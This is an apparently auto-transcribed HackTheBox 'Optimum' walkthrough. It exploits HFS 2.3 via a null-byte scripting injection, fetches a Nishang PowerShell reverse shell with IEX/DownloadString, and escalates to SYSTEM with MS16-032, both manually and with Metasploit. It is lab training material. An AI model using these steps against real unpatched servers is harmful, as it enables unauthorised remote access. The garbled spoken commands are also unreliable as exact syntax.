Speaker A
hey guys what's going on this is if SEC and we'll be doing the Bucks optimum from hack to boxy you this was a really cool box if you did about three years ago when I originally did it in a
IppSec walks through the HackTheBox 'Optimum' machine, exploiting HFS 2.3 via a null-byte scripting injection (CVE-2014-6287), first with pure PowerShell and then with Metasploit for privilege escalat
Key Takeaways
- Null-byte termination in regex-based input sanitization can allow command injection even when characters are filtered.
- Blind command execution can be verified with out-of-band techniques such as ICMP pings captured by tcpdump.
- Privilege escalation via MS16-032 is viable on unpatched Windows systems and can be performed with or without Metasploit.
- Understanding 32-bit vs 64-bit Windows directory structures (System32 vs Sysnative) matters when invoking PowerShell from a 32-bit web process.
What the video covers
- Introduces HackTheBox 'Optimum', a Windows box running HFS (HTTP File Server) 2.3 on port 80, and notes the CVE-based exploit that lacked a Metasploit module until 2016.
- Performs initial Nmap enumeration (service/version detection) and identifies the HFS 2.3 web application as the sole listening service.
- Researches the HFS exploit, explaining how HFS's internal scripting regex fails on null bytes, allowing injection of arbitrary commands via the search parameter.
- Uses HFS scripting command documentation to craft a blind command-execution payload, verified by pinging back and monitoring with tcpdump.
- Stages a PowerShell reverse shell (Nishang's Invoke-PowerShellTcp) served over a Python HTTP server and fetched via IEX/DownloadString.
- Discusses 32-bit vs 64-bit PowerShell paths (System32 vs Sysnative) and the importance of URL encoding payloads sent through Burp Suite.
- Obtains a user shell on the box, then moves to privilege escalation using MS16-032 (Secondary Logon handle leak) through PowerShell-based tooling.
- Demonstrates the Metasploit route using the exploit/windows/local/ms16_032_secondary_logon_handle_privesc module, including troubleshooting session and 64-bit process migration issues.
- Concludes by confirming SYSTEM-level access both via pure PowerShell and Metasploit, contrasting time taken for each approach.
Chapters
- 00:00Introduction and Overview of the Optimum Box
- 01:13Nmap Enumeration and Identifying HFS 2.3
- 02:50Researching the HFS Exploit and Scripting Language
- 04:16Confirming Command Execution with Blind Ping Test
- 05:59Building a PowerShell Reverse Shell with Nishang
- 07:59Obtaining a Shell and Encoding Payloads
- 13:00Privilege Escalation with MS16-032 via PowerShell
- 22:00Metasploit Exploitation and Troubleshooting
Full Transcript — Download SRT & Markdown
Speaker A
different lab the reason being is there was a CVE out for this exploit but no Metasploit module and then in 2016 a Metasploit module came around and made this exploit super duper easy so we'll do this box two different ways one
Speaker A
completely without Metasploit from user to root no Metasploit no MSF console unlike bastard we're just gonna go complete PowerShell and own this box then we're gonna do the optimum way with Metasploit and you'll see it probably takes about 20 to 25 minutes without
Speaker A
Metasploit and then five with Metasploit and I hope those numbers are correct because well I haven't recorded the video yet so let's jump in and see if I am right with the guesswork on time frames so like every other box when we
Speaker A
start for the end map so safe scripts SC enumerate versions SV I'll put all formats Oh a or name the file and map and the IP address which is ten ten ten eight already ran this because it takes
Speaker A
time so let's just look at the results and we see only port 80 is listening and the server is HFS 2.3 most likely HTTP file server oddly enough this application is really common and boxes that get popped on the internet I guess
Speaker A
it's like Python simple HTTP server but for Windows not sure exactly but that is one of the big use cases so let's see what this application looks like going to this we do see the application we could try walking in and do like admin
Speaker A
admin maybe set this up with Hydra in the background or something to brute force a login but we're not gonna do that right now cuz I'm running short on time and why do you keep annoying me stop asking oh my god no so clicking
Speaker A
login is obviously a mistake so we'll just do a new private window and try to place this over top so it's pretty close this window okay ten ten ten eight okay we are good so this what the application looks like we
Speaker A
do see it as version 2.3 so what I'm gonna do is just Google HTTP file server exploit and we see few things on EDB see this one on rapid7 but about three years ago this wasn't here because I believe this post is
Speaker A
talking about using their exploit yeah so we're just gonna do is Google that CVE they reference and go to the might org and we see the find macro marker function and person that Lib allows remote attack us to execute commands by
Speaker A
using an all bite so essentially how this application works is they have an internal scripting language and the internal scripting language uses a few things like brackets dots and pipes and what they have is a regular expression that searches and replaces these
Speaker A
characters because these characters lead to dangerous things in the search parameter so what we do is we send a null byte which is also like an end of string and that terminates the regular expression but not the entire string so
Speaker A
when it does that search or in place it ends right at that Noah byte and then we can send any character we want through that's essentially how the exploit works but we have to know what characters to send so I'm just gonna search HFS
Speaker A
scripting and then we go to one of the Rosetta wikis I guess we're dead oh maybe the language but we see this page HFS scripting commands that's what we want don't want it file not found though so let's go to cached and hope it's
Speaker A
there if not then archive.org so looks like we got access to the page now and this shows all the commands you can do you can read this or we can just look at the one that is of interest and that is
Speaker A
exact and we see them using that bracket dot exact pipe notepad dot bracket so let us go over into book turn intercept on go into Firefox and test this out so I'm sending to go repeater with control uh we already
Speaker A
got that null byte in the search field so let's do bracket dot exact type ping 1010 I want to say I'm fourteen seventeen I am fourteen dot seventeen and before I ping we have to setup a TCP dump on an interface to verify that and
Speaker A
what this is doing is just saying hey if we have command execution ping ourselves and we're gonna know because spoil it this doesn't give us any output so it's a blind attack so when we do go go back
Speaker A
to our terminal and we see ourselves getting pinged so we have command execution right here wait what I made a mistake and it still worked because if you notice I don't have that dot or and bracket I honestly have no idea why that
Speaker A
worked so if I have that it should work cuz this needs to be HCP encoded I believe but let's see go and it is pinging so okay well we got command execution so what the next step is is to
Speaker A
get a reverse shell so what we're going to do is use nishang and I have that in /aa power shell but if you don't you can just Google see the Shang let's turn their Sept off I'm actually baffled why that worked without the dot
Speaker A
whatever but if you get cloned this it'll get the same exact files that I'm about to copy over so we can go to CD powershell and the shame so we want to do shells it's a capital S and I'm gonna
Speaker A
do the powershell tcp I don't want to do the one-line it because it's kind of like a bit of a mess and it's much easy to understand what's going on with this one and because we're gonna use PowerShell
Speaker A
and wrote expressions we don't really have to worry about it being one line because we're gonna make this one line so let's copy this so CP invoke powershell tcp ps1 two documents HT be boxes optimum and then let's CD there
Speaker A
and we have that invoke powershell tcp so let's look at this we see the example we have invoke powershell tcp reverse IP address they're using ipv6 we won't do that and then port four four four four so copy this go to the bottom of the script
Speaker A
and paste so we want reverse IP address will do ten ten ten fourteen seventeen i think it was and then we'll do port 1337 Philippe so let's create a new shell let's call this user and NCL vnp 1337 and this one where we have the
Speaker A
script we're going to run Python M simple HTTP server and that's just going to serve everything in this directory over HTTP so we go back to a proxy and do C I'm going to specify the full path because I think if I just do PowerShell
Speaker A
it's gonna do a 32-bit version of PowerShell so one small thing C colon backslash Windows and this is all 64-bit because if we got a shovel we'd see this is a 64-bit machine it'll work either way but we may run to exploits later and
Speaker A
you'll see when we go to Metasploit why that is but there's a few things in 64-bit I believe I think you have C colon windows system32 for some reason then windows sis Wow 64 and most people think this is
Speaker A
just the d2 bit this is 64 bit but that is wrong this sis well 64 is still 32 bit libraries you want C colon windows sis native for the 64-bit binaries so we will specify that in a command so C colon backslash
Speaker A
windows backslash sis native backslash windows powershell backslash v 1.0 backslash powershell dot exe and we should be able to ping ourselves again to verify that we're running powershell so TCP dump go don't get anything let's try encoding this control you to
Speaker A
URL encode click go and we get pings no idea why that was working before without URL encoding but that is the intended way so ctrl shift you to decode so we can easily read this again so we got
Speaker A
PowerShell running so we're going to do is I e x which is invoke expressions then new - object net dot web client and the parentheses download string and then single quote HTTP or IP which is 10 10 14 17 Python HTTP server
Speaker A
listens on port 8000 by default and then invoke what was it let's close this out powershell TCP dot ps1 so let's close this single quote and parenthesis and we run this we should get a response here and we then should get a shell that was
Speaker A
quick probably made an error and that error is probably not URL encoding there we go for some reason excuse four times you can just assume it's 1 we go back to use a shell and we get connected back give
Speaker A
it a few seconds and we should see a PowerShell command prompt awesome so the very first thing I always run is a system info command and this just gets me information about all the hot fixes installed as well as a West version and
Speaker A
things like that so we see it's 2012 2 OS version 6 3 9600 installed a boot time things like that that is definitely good to know and also all these hot fixes that have been applied in the machine is good but since we're already
Speaker A
running as PowerShell as indicated here we don't have to go and search all these hot fixes to find what date they were installed at because there's a script called Sherlock by rastamouse we used it back and bastard and back then it had a
Speaker A
false negative which has been fixed so kudos to Rastamouse and also kudos to the person that submitted the ticket and get but all that aside let's just copy the script so open up a new session we'll do CP op powershell
Speaker A
short ps1 and again just search a lock powershell and do a git clone if you don't have the script I'm going to edit this and we see it has a bunch of different functions and I can move this
Speaker A
this way this may be easier to read so we can just grab - I to make it case insensitive for function on Sherlock and we see the function we probably want is find all Vaughn's so let's edit the
Speaker A
script Adaline at the bottom for find all Vaughn's and now when we go back to original session we can do I X for the expression new - object net dot web client download string then or IP which is HTTP colon slash slash 1010 1417
Speaker A
port 8000 and the script Sherlock ps1 and we see the output so we can exit this so we can more easily read this and we see MS 16 0 32 appears vulnerable MS 16 135 appears vulnerable and before that not vulnerable so we can
Speaker A
guess that if we searched all the KB's the last patch is probably sometime in 2016 but let's go and google ms 16 0 32 for exploits and the very first thing we get is a Metasploit of course you can
Speaker A
search powershell and we see Power Cell powershell sweet and this is a good proof of concept if we had an interactive session because we can scroll down and we see it as just executing cmd.exe and it's popping up a
Speaker A
window on the machine since all we have is a command prompt and we don't have a full Internet session with the GUI this exploits not gonna work without modification thankfully PowerShell Empire has already made the modifications we want so if we
Speaker A
get a new thing I can show you what it looks like so opt PowerShell empire and that is in the data directory module source probe ask and invoke MS 16 0 32 I don't know what's at the bottom so we
Speaker A
can see them giving this example already invoke - MS 16 - 2 0 30 - it's a mistake because this one doesn't have a - so when we copy this we have to remember to take away that - after the 16 otherwise
Speaker A
we'll get an error message but this script was just copied off of PowerShell suite and then edited to include custom commands so we see the example has that - command flag and if we look down in the script we see this looks milli -
Speaker A
what I highlight before but we're doing PowerShell and the - command flag but the very bottom this copy the command don't forget to get rid of this - that we have to because go to the top of the
Speaker A
script doesn't have a - between the till - command invoke expression new object net web client we don't want to run Google we want to do 10 10 14 17 which is our IP address port 8000 and I'm gonna do
Speaker A
shell dot ps1 and the reason why I'm not doing the last invoke TCP session that we did because we already are listening on port 1 3 3 7 so we're going to copy that and change the port and then open
Speaker A
up another netcat session so copy this cuz I just made a mistake so let's copy this to a working directory go back to the one we cloned and remove that line I always hate editing files that I did a git clone on and when I don't feel
Speaker A
like using the entire empire suite and just copy a script out I copy it to a directory so I can edit that script and it doesn't affect Empire because if I enter this files and used Empire later weird things may happen so we got that
Speaker A
in vogue MS 16 it's all edited that is good now we have to get that shoulder ps1 so copy invoke power shell to shell ps1 edit this to be one three three eight so that all should be good go back to a netcat
Speaker A
session do NC o-- v NP one three three eight invoke expression new object net web client if it hasn't been obvious already you should memorize this one-liner download string HTTP 10 10 14 17 eight thousand shell ps1 looks good
Speaker A
and we get a command prompt we do a who am i and we're a user oh I am a complete idiot invoke expression new object eight thousand and we want MS 1603 to don't open a new terminal please don't copy
Speaker A
that's what we want that was silly and I've got the I change this so I can copy this easier oh my shell died get a new shell copy this paste go to Python we see it did that get on invoke MS 16 0 32 and it
Speaker A
should do that shell if it doesn't the Box may have to be reverted we have a system shell is where it says and we got one it's loading PowerShell if we go here we see it do that get go down Who
Speaker A
am I and we're system so that is how to do it all through PowerShell no Metasploit whatsoever but I guess we have to do Metasploit now so let's open a new window and do MSF console to load Metasploit and the very first thing
Speaker A
we're doing is do it the way I think most people did it which will not work and I just want to show that way to show the error and then I'll do the correct way so I'm going to straight for Rosetta
Speaker A
and we're going to use this exploit and then show options when asset proxies is equal to HTTP one point seven zero zero one 8080 make sure Burke has intercept will do all real quick to make sure it intercepts it set our host which is
Speaker A
going to be the vulnerable server ten ten ten eight sets of host to be or IP which is ten ten fourteen seventeen set serve port to be eighty eighty eight we don't want 8080 because burp is listening on 8080 and that should be
Speaker A
good so we run this sure to send a request a boat oh we have to set reverse allow proxy chill will never use proxies it doesn't like using reverse shells so you just have to do that to say hey I
Speaker A
don't care I want to run it so we do see the very first thing it says is a save command so it's saving a visual basic script and then it's probably going to execute the script with a dot exec I was
Speaker A
just trying to accept off and run if I got delayed because of a timeout because I was looking at that so we can look at what Metasploit did after we completely pop the box so session 1 opened we do a
Speaker A
sis info and C 1 a 64-bit architecture but um interpreter is 32-bit that is fine right now because we always want to run exploit suggestion as both a 32-bit and 64-bit process the reasoning behind that is there's some exploits and
Speaker A
Metasploit that just don't have a check option for a 64-bit so set session 1 and we run this and it's going to gather all the exploits so run this with a 32-bit see what exploits run it with 64-bit see
Speaker A
what exploits and then combine the two if there's one that's wonderful for both x86 and 64 chances are that's the one you should try first the issue we're gonna have right now is for some reason ms 1603 to won't like being ran
Speaker A
if you do a migrate session maybe just don't get a token me something weird happens but you have to start meterpreter from a 64-bit process for MS 16 0 32 to work so we see that the service is running but could not be
Speaker A
validated this is a bypass UAC we don't care I want to say this may be hot potato or something like that I don't know what ms ND proxy is so let's go sessions - i won PS and will migrate
Speaker A
into Explorer which is 1788 so this should turn us into a 64-bit process cornices info yes ok tetra 64-bit meterpreter 64-bit so background this again and run it and we'll see what exploits it says is available for 64-bit machines
Speaker A
and well it does that I want to copy this exploit so 14 checked doesn't find any so we're gonna use this exploit and I'm going to set the session to 1 set target to 1 and when we run it well
Speaker A
first we got TCP Handler on one I to 168 101 we don't want that so set L host to be 1010 14 17 show options okay run again still that weird error message so let's set payload to be the 64-bit
Speaker A
meterpreter still the weird error message I don't know exactly what is happening here honestly I don't I haven't done much investigation so what we're going to do is go back to Ruggiero show options and we're going to start by
Speaker A
setting our payload to the 64-bit version so I do a show options again we see this is now Windows x64 meterpreter so run this get a shell it's now session 2 and once we get this we can do the
Speaker A
exploit suggester again it's not going to show it vulnerable for whatever reason no let's do this info 64-bit on 64-bit then suggest show options set session to 2 and run it it's gathering exploits it's still going to say I think 14 potential exploits and
Speaker A
then none of them I'm gonna work 14 check nothing so let's do that ms 16 0 30 to show options set session 2 to set output let's do 4 4 4 5 and we're gonna run and we don't get that error message and got
Speaker A
a shell right away and one thing you also have to do that it's saved from last time is if you do this without that 64-bit meterpreter it's probably not going to work so once the session fully opens we
Speaker A
should be able to verify we are a sysadmin or running a system I'm not sure exactly what the delay is right now oh can I can want to say try to control see this and see what happens sessions - I 3 sis info
Speaker A
awesome so show Who am I anti-authority system so that is how you do it in Metasploit and if we go back and show options if this wasn't sent as 64-bit and this target was still 64-bit this is what you'll see
Speaker A
so run this and executing it oh I actually didn't think that would work so looks like you can do that as a payload no I didn't do set payload I'm an idiot sometimes show options there we go this shouldn't work I know I said this a
Speaker A
few times but as doing exploit script and that's probably gonna hang for a little bit so we can go in a burp suite real quick and see what was exactly happening so we got this save so send this to repeater
Speaker A
and let's do your L code this so control-shift you and we see what it's writing so it's saving something to a temporary directory there's the VBS create object get and then shell execute it so I guess that's what the VBS is
Speaker A
doing go back to proxy we can see the exact script send this repeater decode this w script exe so it's executing a VBS and then it's just going to execute that script so I'm guessing all this does is say hey
Speaker A
go to this URL and execute it just like a invoke expression with PowerShell it's just doing it in visual basic script go back here still stuck on X playing script if we set target to zero so now we're executing a 32-bit payload with
Speaker A
the target of 32 bit still probably gonna hang so both of these need to be set to 64-bit and you have to stir it meterpreter from 64-bit to get it working on Metasploit so hope you enjoyed this video feel free to leave a
Speaker A
comment and tell friends to come check us out take care guys later
Topics:HackTheBoxOptimumHFS 2.3CVE-2014-6287PowerShellMetasploitMS16-032privilege escalationreverse shellpenetration testing
